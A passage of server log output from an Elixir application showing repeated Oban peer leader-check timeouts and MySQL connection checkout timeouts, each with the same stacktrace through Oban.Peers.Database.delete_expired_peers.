    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1358.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 15:06:52.871000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:06:57.873000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:07:02.824000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:07:37.887000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:07:42.890000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:07:46.557000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:07:47.219000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:08:21.559000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:08:22.251000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:08:27.252000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:08:31.281000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:09:05.313000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:09:05.855000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:09:10.314000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:09:14.446000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:09:47.476000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:09:52.477000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:09:56.563000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:09:57.377000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:10:31.565000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:10:32.412000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:10:37.413000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:10:41.527000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:11:14.558000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:11:19.559000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:11:24.507000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:11:58.543000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:12:03.544000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:12:05.859000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:12:06.572000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:12:07.590000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:12:42.622000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:12:47.624000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:12:52.500000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:13:27.534000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:13:32.538000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:13:37.042000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:14:11.078000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:14:12.044000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
